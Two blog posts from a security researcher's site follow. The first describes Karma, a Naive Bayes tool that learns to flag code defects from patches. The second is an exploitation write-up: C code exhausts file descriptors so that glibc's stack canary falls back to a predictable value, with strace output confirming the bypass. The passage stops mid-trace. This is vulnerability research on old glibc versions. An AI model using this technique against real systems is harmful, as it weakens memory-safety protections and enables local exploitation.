Cipher

Karma Automated source code defect identification method

Sun, 08 Feb 2026 08:25:34 +0000

|=-----------------------------------------------------------------------=|
|=----=[ Karma: Automated source code defect identification method ]=----=|
|=-------------------------=[ by cipher.org.uk ]=------------------------=|
|=-----------------------------------------------------------------------=|

--[ Table of contents

Table of Contents
1. Introduction
1.1  Problem to solve
1.2  Solution
2. Learning a language
2.1  Naïve Bayes classifier and source code analysis
2.2  The tool
2.3  Context based training
3. Analysing source code
3.1  Defect detection
3.2  Features
4. Works cited and bibliography

1. Introduction

Source code and binary defect inspection have become essential process of many, related to software development and software analysis. It is critical to identify defects (security, performance etc) within their software prior or after a release.

1.1 Problem to solve

Most source code analysers are able to point to specific issues using "hard-coded" knowledge either based on strings or AST (or other intermediate representations) using rulesets and they are tightly connected to specific languages.

Even though this could be successful, it is limited to:

The number of supporting rules, languages etc
Requires an expert for each programming language to be able and create the rulesets or lists respectively
All string lists and rulesets are subjective to their author's knowledge, experience and perspective when assembling them, without taking into account, prior general and non-subjective knowledge.

In addition, they tend to direct the reviewer's focus to a list of vulnerabilities, which is good if the reviewer is not interested in looking at the source code in depth but instead producing a semi/automated list of issues.

The method described in this text provides:

A way of analysing source code of any language
Visual assistance of areas of interest in every file (heatmap)

1.2 Solution

The main objective is to create a zero-knowledge source code analyser, able to point to any 'interesting pieces' of code within any language and context. Instead of creating a collection (e.g bugle, most source code analysis tools including AST based) of potentially dangerous strings or rulesets, we train a classifier do it for us very quickly.

Classify: “ … arrange (a group) in classes according to shared characteristics... assign to a particular class or category…”(Oxford Dictionary)

Data classification, a sub-discipline of machine learning (Webb) (Bishop) (MacKay) can be used to assist with the categorization of the under scrutiny data. However to achieve this, we need to provide empirical data to the classifier. We need to supply a large number of problematic code snippets or bugs for the classifier to acquire the required knowledge. A way to do it is using software patches.

As we can see above, it is very clear how we can train a classifier using it. Lines with “-“ are lines which are going to be removed (therefore defects) and lines with “+” are lines that are added to the code (corrections). It needs to be noted that we make assumptions that added lines are correct (which is not always the case), however having a large enough patch collection, these anomalies should decrease.

2.  Learning a language
2.1 Naïve Bayes Classifier and Source Code Analysis

To understand a little bit more how this actually works, I am going to give a very brief example on how the classification happens during ‘training’ and how the code defect confidence is calculated.

Naive Bayes algorithm is a simplistic ,yet powerful, classification algorithm based on the Bayesian Theorem (Bayes & Price, 1763). During the training phase what essentially happens is we build a database of prior probabilities (aka prior knowledge – in our case patches). So we calculate the probability associated with an object to be a classified as a defect or not defect.

Lets assume that we have our training data (shown in the table below) which we acquired using our patches collection:

And that we want to classify the following line of code:

 			                strcpy(buf,argv[1]);

Assumptions for this example:

3 parameters - Keyword1-3
3 possible attribute values per parameter i.e. Keyword1 [strcpy, buf, argv]
For simplicity, special characters and numbers are not calculated

A Naïve-Bayes classifier chooses the most probable classification when supplied the attribute values a1, a2, a3….an. In our case ai is keywords i.e. strcpy, buf etc.

n is the number of times for which the current classification belongs to a category
nc is the number of times for which the current classification belongs to a category for a specific parameter
p is a prior estimation of P(keyword|bug)
m is a constant, determines the weight to the observed data , essentially it increases n . In our case we pick a random value 2 for all data

Going back to the source code line we want to classify and after removing all special characters

	strcpy buf argv

I am going to explain only the first of these and hopefully the rest will be obvious:

P(strcpy|yes) = (nc +mp)/(n+m)

n = 3 (3 instances where we positively have a bug within the training data - patches)
nc= 2 (strcpy was in 2 of them) 
p = 1/3 (1/possible number of values for this attribute)
m = 2 (constant – should be the same in all the calculations)

So P(strcpy|yes) = (2+(2*0.3))/(3+2) = 0.52 and the rest are

P(buf|yes) =0.32, P(argv|yes) = 0.52 

We do the same for the classification ‘no’  :

P(strcpy|no) =  (1+(2*0.3))/(2+2) = 0.4 , P(buf|no) = 0.65 , P(argv|no) = 0.15 

Finally we calculate P(yes) and P(no) as required by Vmap 
P(yes) =0.6 and P(no) = 0.4

So the maximum likelihood of this line being a bug is :

Bug = P(yes)P(strcpy|yes) P(buf|yes) P(argv|yes)  = 0.6 * 0.52 * 0.32 * 0.52 = 0.0519168

And the maximum likelihood of ths line not being a bug is : 

NotBug =  P(yes)P(strcpy|yes) P(buf|yes) P(argv|yes)  =  0.4*0.4*0.65*0.15 = 0.0156

Clearly Bug > NotBug and therefore, there is high possibility that this line is a bug

Note that this method can be tailored to very specific contexts. For example here we applying the algorithm on keywords acting as parameters, however we can do some more adjustments.

We could for example train the classifier using only a language’s tokens and known functions which can be good in abstracting the knowledge (however that wont catch interesting numbers such as 256, 1024 etc or variables such as buf etc). Also it can be applied to intermediate source code representations such AST in combination with syntax idiosyncrasies.

Additionally, by introducing parameters such us, developer, licensing (?), cyclomatic complexity (and other metrics) , file extensions for the same language (i.e. h or c for the C language) , comment ratios etc we can create a very high level of accuracy.

Even though it looks cluttered and a bit complicated, Naïve Bayes and most other classifiers can handle it and produce very good results. Note that this classifier makes some very strong independence assumptions (hence naïve), which means that all calculated probabilities are contributing to the final decision without affecting the final calculated probabilities of each other.

2.2 The tool

This text introduces Karma an implementation of a decision-making engine, based on the probabilistic classification provided by the Bayesian theorem. Here we are going to use a NAÏVE-BAYES classifier, however any other classifier can be used such as TREE AUGMENTED NAÏVE-BAYES, BN AUGMENTED NAÏVE-BAYES, Averaged One-Dependence Estimators or other non BAYES classifiers. (An Empirical Comparison of Supervised Learning Algorithms)

Disclaimer the tool Karma and it's predecessor ParmaHam are private since 2007 and 2010 respectively the source code is provided for Karma and it should compile with the latest Netbeans along with it's binary and can be found at the bottom of the paper. There are plenty of bugs so it will be much appreciated if you are developer or can develop you are very welcome to provide fixes here. The code is released under the Apache license

Below a screenshot from Karma

and a less advanced version ParmaHam for historical reasons below

Using our collection of patches as our empirical knowledge, and following the method described earlier, we teach the classifier to recognise what is a bug (-) and what is not (+) for a specific language (---). The flowchart below illustrates the steps taken by Karma during this process.

The process above is represented by the 'Trainer' dialog (see below) within the 'Training Centre':

What we need to provide to the 'Trainer' is:

A directory with patches to learn from
A language to train for
What patch file extension we are looking for (i.e. diff, patch etc)

When all the info is in place, we 'Start Training' and the currently selected Knowledge DB is used to store all the acquired knowledge. You can choose the currently active Knowledge DB at 'Training Centre'.

2.3 Context based training

To achieve high accuracy in our results, we have to train our classifier in a specific context.

For example, if we are looking for security bugs, we have to train our classifier using security patches. Also if we are looking to find bugs in a specific environment, which may slightly differ like, let's say, kernel code, it would be a really good idea to train the classifier in kernel patches with security context. If we are looking within a specific bug category, such as integer overflows etc. we can train the classifier with patches tagged with these bugs.

Generally, closed source/commercial projects have better categorisation on different types of patches, so software houses may create more accurate classifiers, however many open source projects do that as well, so we can use them as a trainer for our classifier.

3. Analysing source code
3.1 Defect Detection

At this stage, we should have our classifier ready to analyse source code and potentially find areas that relate to past-knowledge as it has been acquired during the training phase. First we choose the Karma from the menu:

Then we choose the source directory we want to scan:

Before we start the analysis, we choose the language we are reviewing (which we can modify in 'Tools' > 'Settings'), we might want to exclude lines that include some strings in which we have no interest. To do this we just type our exclusions in the text box.

After pressing 'Start Analysis' and initiating the scan, the following happens:

And the output on screen is:

As we can see above, Karma picked lines with interesting functions and variables. This result came without any fine-tuning but purely from training on a number of security patches, which I have found very effective indeed! The top pane can be used for code speed reading as it includes only interesting code.

Below there is a video of the entire process as been done using Karma

Your browser does not support the video tag.

3.1 Features

Karma features include: inclusion graph, caller graphs, cyclomatic complexity, supervised learning, advanced code search, advanced xml search, comments graph, keyword cloud, bugs graph, backtrace import, karma exchange (you can send trained Karmas and you can import) etc.
Your browser does not support the video tag.

Note, some features require Doxygen so don't forget to set the doxygen directory where you installed it here

Have you found any bugs using Karma? Yes plenty of bugs. Do you have any example bug found with Karma which is public? Yes here there is an example bug found using Karma from 2011. To identify the bug theCVEs Karma was used a subset of C specific assigned CVEs which you can download and import to Karma (download it and then go to Karma Exchange and import the zip file). Note that you will see functions been flagged which in many cases don't belong to the core C functions so have a look at the implementation to see how they have been misused (quite common on Kernel bugs)

Here providing Kernel's Karma which is Kernel specific security patches, CVEs which are userland specific patches as training and Learn C which is a subset of security patches based on C patch debian cycle flagged as security patches. Can you use it for any other language other than C? Yes providing here a Java karma and you can make your own for any language as long as you train on patches.

If you want to retrain on security patches here there is a zip file containing thousands of linux security Kernel patches, just point Karma's training centre to the directory and retrain your Karma's brain. Note that you can keep training an already existing Karma so if you get more patches you can keep training your linux kernel Karma.

Download Karma's binary for MacOS here and get the source code which compiles for OSX, Linux and Windows from here.

For historical reasons providing a download for ParmaHam compiled here and some CVEs to import (note ParmaHam is POC version, last compiled 2009-2010)

4. Works Cited & Bibliography

An Empirical Comparison of Supervised Learning Algorithms.
www.cs.cornell.edu/~caruana/ctp/ct.papers/caruana.icml06.pdf

Bayes, T., & Price, M. (1763). An Essay towards Solving a Problem in the
Doctrine of Chances. http://rstl.royalsocietypublishing.org/content/53/370

MacKay, D. J. Information Theory, Inference and Learning Algorithms. Cambridge
University Press; Sixth Printing 2007 edition (25 Sep 2003).

Webb, A. Statistical pattern recognition. Wiley-Blackwell; 2nd Edition edition (18 July 2002).

Bishop, C. M. Pattern Recognition and Machine Learning. Springer; New Ed edition (1 Feb 2007).
A Comparison of a Naive Bayesian and a Memory-Based Approach
National Centre for Scientific Research “Demokritos”, Annual ACM Conference on Research and Development in Information Retrieval, 2000

Oxford Dictionary: http://www.askoxford.com:80/concise_oed/classify?view=uk

Bugle. http://cipher.org.uk/Bugle/

BinDiff. http://www.zynamics.com/bindiff.html

A Critique of Software Defect Prediction Models
Norman E. Fenton, Member, IEEE Computer Society, and Martin Neil, Member, IEEE Computer Society

N.E. Schneidewind and H. Hoffmann,"An Experiment in Soft- ware Error Data Collection and Analysis
IEEE Trans. Software Eng., vol. 5, no. 3, May 1979.

D. Potier, J.L. Albin, R. Ferreol, A, and Bilodeau, "Experiments with Computer Software Complexity and Reliability,"
Proc. Sixth Int’l Conf. Software Eng., pp. 94-103, 1982.

T. Nakajo, and H. Kume, "A Case History Analysis of Software Error Cause-Effect Relationships,"
IEEE Trans. Software Eng., vol. 17, no. 8, Aug. 1991.

T.M. Khoshgoftaar and J.C. Munson, "Predicting Software Devel- opment Errors Using Complexity Metrics,"
IEEE J Selected Areas in Comm., vol. 8, no. 2, pp. 253-261, 1990.

Automatic Identification of Bug-Introducing Changes
Sunghun Kim, Thomas Zimmermann, Kai Pan, E. James Whitehead, Jr.

D. Cubranic and G. C. Murphy, "Hipikat: Recommending pertinent software development artifacts,"
Proc. of 25th International Conference on Software Engineering (ICSE 2003),
Portland, Oregon, pp. 408-418, 2003.

M. W. Godfrey and L. Zou, "Using Origin Analysis to Detect Merging and Splitting of Source Code Entities,"
IEEE Trans. on Software Engineering, vol. 31, pp. 166- 181, 2005.

A. E. Hassan and R. C. Holt, "The Top Ten List: Dynamic Fault Prediction,"
Proc. of 21st International Conference on Software Maintenance (ICSM 2005),
Budapest, Hungary, pp. 263-272, 2005.

S. Kim, E. J. Whitehead, Jr., and J. Bevan, "Properties of Signature Change Patterns,"
Proc. of 22nd International Conference on Software Maintenance (ICSM 2006), Philadelphia, Pennsylvania, 2006.

A. Mockus and L. G. Votta, "Identifying Reasons for Software Changes Using Historic Databases,"
Proc. of 16th International Conference on Software Maintenance (ICSM 2000), San Jose, California, USA, pp. 120-130, 2000.

T. J. Ostrand, E. J. Weyuker, and R. M. Bell, "Where the Bugs Are," Proc. of 2004 ACM SIGSOFT International Symposium on Software Testing and Analysis, Boston, Massachusetts, USA, pp. 86 - 96, 2004.
J. !liwerski, T. Zimmermann, and A. Zeller, "When Do Changes Induce Fixes?" Proc. of Int'l Workshop on Mining Software Repositories (MSR 2005), Saint Louis, Missouri, USA, pp. 24-28, 2005.

I. H. Witten and E. Frank, Data Mining: Practical Machine Learning Tools and Techniques (Second Edition): Morgan Kaufmann, 2005.

Taking advantage of File Descriptor exhaustion bugs

Thu, 20 Jan 2011 07:24:34 +0000

Recently I saw an email at Full Disclosure (here & here?), which provides a typical File Descriptor exhaustion bug and I decided to use it as a demonstration bug for this post. There are situations in which a File Descriptor exhaustion issue can help when trying to take advantage of certain conditions (in many cases local). In most of these cases exploitation will involve some kind of race condition.

The example described bellow aims in disabling a Linux security countermeasure and possibly of other OSs which implement the same type of protection in a similar way. Note that below I am demonstrating this issue in older kernel/libc versions due to changes in the way that this protection is implemented in newer versions which protects against this.

Environment:
manos@jaunty:~/p/ke$ uname -a Linux jaunty 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
manos@jaunty:~/p/ke$ sudo aptitude show libc6 Package: libc6 State: installed Automatically installed: no Version: 2.9-4ubuntu6.3 Priority: required Section: libs Maintainer: Ubuntu Core developers Uncompressed Size: 11.2M Depends: libgcc1, findutils (>= 4.4.0-2ubuntu2) Suggests: locales, glibc-doc, libc6-i686 Conflicts: libterm-readline-gnu-perl (< 1.15-2), tzdata (< 2007k-1), tzdata-etch, nscd (< 2.9) Replaces: belocs-locales-bin Provides: glibc-2.9-1 Description: GNU C Library: Shared libraries Contains the standard libraries that are used by nearly all programs on the system. This package includes shared versions of the standard C library and the standard math library, as well as many others.*This glibc version was purposely picked.

manos@jaunty:~/p/ke$ gcc -v .. gcc version 4.3.3 (Ubuntu 4.3.3-5ubuntu4)

First lets print out the posted poc code:

#include <sys/socket.h>
#include <sys/un.h>
 
static int send_fd (int unix_fd, int fd)
{
struct msghdr msgh;
struct cmsghdr *cmsg;
char buf[CMSG_SPACE (sizeof (fd))];
memset (&msgh, 0, sizeof (msgh));
 
 
memset (buf, 0, sizeof (buf));
 
msgh.msg_control = buf;
msgh.msg_controllen = sizeof (buf);
 
cmsg = CMSG_FIRSTHDR (&msgh);
cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
cmsg->cmsg_level = SOL_SOCKET;
 
 
cmsg->cmsg_type = SCM_RIGHTS;
 
msgh.msg_controllen = cmsg->cmsg_len;
 
memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
return sendmsg (unix_fd, &msgh, 0);
}
 
int main ()
{
 
int fd[2], ff[2];
 
int target;
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
return 1;
for (;;)
{
if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
return 2;
send_fd (ff[0], fd[0]);
send_fd (ff[0], fd[1]);
 
 
close (fd[1]);
close (fd[0]);
fd[0] = ff[0];
fd[1] = ff[1];
}
}

Check here and here if you want to know what is happening.

Next, we are moving to the targeted protection:

file: glibc-2.9/sysdeps/unix/sysv/linux/dl-osinfo.h

..
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
uintptr_t ret;
#ifdef ENABLE_STACKGUARD_RANDOMIZE
int fd = __open ("/dev/urandom", O_RDONLY);
if (fd >= 0)
{
ssize_t reslen = __read (fd, &ret, sizeof (ret));
__close (fd);
if (reslen == (ssize_t) sizeof (ret))
return ret;
}
#endif
ret = 0;
unsigned char *p = (unsigned char *) &ret;
p[sizeof (ret) - 1] = 255;
p[sizeof (ret) - 2] = '\n';
return ret;
}
..

It is pretty obvious what our target is. Just in case you didn't see it, we want to use our file exhaustion bug and disable the ENABLE_STACKGUARD_RANDOMIZE part of the code and leave only the terminator value (aka ff0a0000) which in certain situations can be overwritten and secure us EIP control.

we want this unreachable :

if (fd >= 0)
{
ssize_t reslen = __read (fd, &ret, sizeof (ret));
__close (fd);
if (reslen == (ssize_t) sizeof (ret))
return ret;
}

We want fd to return something less than 0. To increase our chances of doing this we are going to modify a little bit our FD exhaustion code :

#include <sys/socket.h>
#include <sys/un.h>         
#include <stdio.h> 
#include <string.h>
#include <stddef.h>   
       
//return file-nr array - exit's when there are not enough File Descriptors     
int* nr()
{
    char line [100]; 
    FILE *filenr;
    if((filenr = fopen("/proc/sys/fs/file-nr", "r")) == NULL){printf("\nOvershoot FDs - exiting\n");exit(0);}   
    fgets ( line, sizeof line, filenr );                                 
    fclose(filenr); 
    int out[3];
    sscanf(line, "%d %d %d", &out[0],&out[1],&out[2]);  
return out;
}   
 
static int send_fd (int unix_fd, int fd)
{
      struct msghdr msgh;
      struct cmsghdr *cmsg;
      char buf[CMSG_SPACE (sizeof (fd))];
      memset (&msgh, 0, sizeof (msgh));
      memset (buf, 0, sizeof (buf));
      msgh.msg_control = buf;
      msgh.msg_controllen = sizeof (buf);
      cmsg = CMSG_FIRSTHDR (&msgh);
      cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
      cmsg->cmsg_level = SOL_SOCKET;
      cmsg->cmsg_type = SCM_RIGHTS;
      msgh.msg_controllen = cmsg->cmsg_len;
      memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
      return sendmsg (unix_fd, &msgh, 0);   
}    
 
 
 
int crash_loop(int loop) 
{
     
 int fd[3], ff[3];
 int count=0;
 
  while (count<loop)                         
  {  
     
    //Set FD lower limit for shooting out Canary          
    int *in = nr();
    int c=in[0],i=in[1],l=in[2]; 
 
        if (l-c<=80) 
        {
        system("strace -x -e trace=read,open ./m"); 
        }              
             
    if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
    return 2;   
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];                        
    count++;
  } 
}
 
int main (int argc, char *argv[])
{    
    printf ("Start Exhaustion Loop\n");  
 
    while (1)
        {  
            crash_loop(1);
            }
}

What we added is some control over the loop and nr() which probes /proc/sys/fs/file-nr and gets the current used FDs and the system's FD limit. Then we take this array and we set the lower limit of free file descriptors before attempting to "lock" access to /dev/urandom. Note that since this process is going to be un-killable we want it to stop at the point where we have no other free descriptors, hence we "exit" when we can't open /proc/sys/fs/file-nr. We execute our victim application using strace, as we want to see all the system calls (e.g. open, read). *Note that the use of usleep might come handy if we want to stabilise our free FDs to a certain number, since the method described below is likely to be used in a waiting stabilising process form rather than executing multiple times our target program as described here.

Now let's look our victim application :

#include <stdint.h>
#include <stdio.h>
 
 
int main(int argc, char *argv[]) 
 
    {   //STACK_CHK_GUARD  -  i386    (stackguard-macros.h)    
        uintptr_t x; 
        asm ("movl %%gs:0x14, %0" : "=r" (x));
        fprintf(stderr, "Cookie [%%gs:0x14=%0lx]\n\n",x)    ; 
    }

We simply take the canary from %gs:0x14 and we print it out. If we execute it with strace we get the following :

brk(0) = 0x8b3e000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8000000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0 mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ff3000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\.."..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0 mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e90000 mprotect(0xb7fec000, 4096, PROT_NONE) = 0 mmap2(0xb7fed000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb7fed000 mmap2(0xb7ff0000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ff0000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e8f000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e8f6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 open("/dev/urandom", O_RDONLY) = 3 read(3, "\xc9\x6e\xa8"..., 3) = 3 close(3) = 0 mprotect(0xb7fed000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0xb801f000, 4096, PROT_READ) = 0 munmap(0xb7ff3000, 50808) = 0 write(2, "Cookie [%gs:0x14=a86ec900]\n\n"..., 28Cookie [%gs:0x14=a86ec900]) = 28 exit_group(28) = ?

We can clearly see that :

open("/dev/urandom", O_RDONLY) = 3 read(3, "\xc9\x6e\xa8"..., 3) = 3

and our canary is a86ec900 (little endian + 1 null byte)

Now that we have everything set let's see what happens when we execute our code:

manos@jaunty:~/p/ke$./pp& Start Exhaustion Loop . . . open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00....., 512) = 512 open("/dev/urandom", O_RDONLY) = 3 read(3, "\x04\xe8\x8e"..., 3) = 3 Cookie [%gs:0x14=8ee80400] open("/etc/ld.so.cache", O_RDONLY) = 0 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0 read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x0.."..., 512) = 512 open("/dev/urandom", O_RDONLY) = 0 read(0, "ATX"..., 3) = 3 Cookie [%gs:0x14=58544100] open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03.."..., 512) = 512 open("/dev/urandom", O_RDONLY) = -1 ENFILE (Too many open files in system) Cookie [%gs:0x14=a967000]
Overshoot FDs - exiting

As we can see, after some executions we managed to block ENABLE_STACKGUARD_RANDOMIZE with an ENFILE error and jump straight after the if statement. Clearly we should have seen ff0a0000 here. After some more tries we observe the following canary values (for fd =-1) :

.. 0xe8537000 0x1c0d7000 0x146c7000 0xe8b0f000 0x1d487000 0x13d2f000 0x15caf000 0x7c3f000 0xe1b47000 0x6e77000 0xe5a47000 0x1ab7f000 0xf4237000 0x1978f000 0xe584f000 0x5287000 0x18de7000 0xb517000 0x1311f000 0xf1f47000 0x310f000 0xfe0b7000 0xf7ccf000 0xff2ff000 0xf8d07000 0x6e77000 0xf35ef000 0xf0f07000 0xe21af000 0xf1b57000 0xb71f000 0x1c0d7000 0xe9f5f000 0xe832f000 0xe8f1f000 0xed26f000 0xee4b7000 0x83cf000 0xeb1e7000 0xc0c7000 0xf9f4f000 ..

Some modification is happening on the terminator canary.

If we get libc6 along with glibc_2.9-4ubuntu6.3.diff and inspect the patch, we see the following lines added within dl-osinfo.h :

+@@ -77,5 +80,31 @@
+   unsigned char *p = (unsigned char *) &ret;
+   p[sizeof (ret) - 1] = 255;
+   p[sizeof (ret) - 2] = '\n';
++#ifdef HP_TIMING_NOW
++  hp_timing_t hpt;
++  HP_TIMING_NOW (hpt);
++  hpt = (hpt & 0xffff) << 8;
++  ret ^= hpt;
++#endif
++  uintptr_t stk;
++  /* Avoid GCC being too smart.  */
++  asm ("" : "=r" (stk) : "r" (p));
++  stk &= 0x7ffff0;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk <<= (__WORDSIZE - 23);
++#elif __WORDSIZE == 64
++  stk <<= 31;
++#endif
++  ret ^= stk;
++  /* Avoid GCC being too smart.  */
++  p = (unsigned char *) &errno;
++  asm ("" : "=r" (stk) : "r" (p));
++  stk &= 0x7fff00;
++#if __BYTE_ORDER == __LITTLE_ENDIAN
++  stk <<= (__WORDSIZE - 29);
++#else
++  stk >>= 8;
++#endif
++  ret ^= stk;
+   return ret; ;

This patch is XORing the value of ret (terminator value) with the current CPU tick counter (taken from rdtsc). Then the array's (p) address is used (as additional entropy) and the rest can be replicated by us, so the patch adds some fair and cheap trickery (poor man's randomisation) - *while I was writing this post, this was published, which shows that windows kernel mode canary generation is similar to the above.

To make sure that a glibc version without the stack-guard-quick-randomization.diff applied is giving ff0a0000 (even though we can confirm this with strace), we recompile glibc without this patch. This will save us some time of looking around to find a distro without this patch applied (we just comment out all XOR operations).

So lets run pp again :
manos@jaunty:~/p/ke$./pp& Start Exhaustion Loop . . . [b80a70d4] open("/etc/ld.so.cache", O_RDONLY) = 0 [b80a70d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0 [b80a7154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00.."..., 512) = 512 [b80a70d4] open("/dev/urandom", O_RDONLY) = 0 [b80a7154] read(0, "\x17\x7f\x77"..., 3) = 3 Cookie [%gs:0x14=777f1700] [b7f7e0d4] open("/etc/ld.so.cache", O_RDONLY) = 3 [b7f7e0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 [b7f7e154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\..."..., 512) = 512 [b7f7e0d4] open("/dev/urandom", O_RDONLY) = 3 [b7f7e154] read(3, "\x70\xec\x1e"..., 3) = 3 Cookie [%gs:0x14=1eec7000] [b80f10d4] open("/etc/ld.so.cache", O_RDONLY) = 0 [b80f10d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 0 [b80f1154] read(0, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00..."..., 512) = 512 [b80f10d4] open("/dev/urandom", O_RDONLY) = 0 [b80f1154] read(0, "\x64\x95\xb7"..., 3) = 3 Cookie [%gs:0x14=b7956400] [b808a0d4] open("/etc/ld.so.cache", O_RDONLY) = 3 [b808a0d4] open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 [b808a154] read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00..."..., 512) = 512 [b808a0d4] open("/dev/urandom", O_RDONLY) = -1 ENFILE (Too many open files in system) Cookie [%gs:0x14=ff0a0000]
Overshoot FDs - exiting
We are now certain that a simple File Descriptor exhaustion bug can assist in disabling canary stack randomisation. It is worth mentioning that /dev/urandom was dropped mainly on performance and not security implications of FD hijacking or shortage.

As this post is focused on disabling the ENABLE_STACKGUARD_RANDOMIZE we are not going to analyse ways of guessing/determing stack-guard-quick-randomization.diff entropy points, however going back to the patched version and based solely on visual canary value observations, we can see that we significantly reduced the canary space from 16777215 to almost 65535. rdtsc can be predicted with some decent accuracy in a low/medium usage uniprocessor systems, during non-context switched execution, but we save this for another time.

Below is a simple patch for strace - which prints rdtsc at each "syscal exit" (trace_syscall_exiting) - It is not accurate but it can be used for roughly observing tick jumps

--- syscall.c
+++ syscall.c
@@ -109,7 +109,7 @@
 #define TN TRACE_NETWORK
 #define TP TRACE_PROCESS
 #define TS TRACE_SIGNAL
-
+#define HP_TIMING_NOW(Var) __asm__ __volatile__ ("rdtsc" : "=A" (Var))
 static const struct sysent sysent0[] = {
 #include "syscallent.h"
 };
@@ -2520,7 +2520,8 @@
            (long) tv.tv_sec, (long) tv.tv_usec);
    }
    printtrailer();
-
+   HP_TIMING_NOW (hpt);
+   tprintf(" rdtsc : %lld   ",hpt );
    dumpio(tcp);
    if (fflush(tcp->outf) == EOF)
        return -1;

The output of strace with the rdtsc out is :
execve("./m", ["./m"], [/* 20 vars */]) = 0 rdtsc : 170812617327520 brk(0) = 0x9a62000 rdtsc : 170812617944640 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) rdtsc : 170812618580380 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8083000 rdtsc : 170812618926180 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) rdtsc : 170812619351780 open("/etc/ld.so.cache", O_RDONLY) = 3 rdtsc : 170812619758760 fstat64(3, {st_mode=S_IFREG|0644, st_size=50808, ...}) = 0 rdtsc : 170812620131160 mmap2(NULL, 50808, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb8076000 rdtsc : 170812620421100 close(3) = 0 rdtsc : 170812620785520 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) rdtsc : 170812621126000 open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 rdtsc : 170812621530320 read(3, "\177ELF\1\1\1\3\3\1\320h\1004"..., 512) = 512 rdtsc : 170812621830900 fstat64(3, {st_mode=S_IFREG|0755, st_size=1442180, ...}) = 0 rdtsc : 170812622221920 mmap2(NULL, 1451632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7f13000 rdtsc : 170812622559740 mprotect(0xb806f000, 4096, PROT_NONE) = 0 rdtsc : 170812622852340 mmap2(0xb8070000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15c) = 0xb8070000 rdtsc : 170812623144940 mmap2(0xb8073000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb8073000 rdtsc : 170812623490740 close(3) = 0 rdtsc : 170812623831220 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f12000 rdtsc : 170812624230220 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7f126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 rdtsc : 170812624568040 open("/dev/urandom", O_RDONLY) = 3 rdtsc : 170812624900540 read(3, 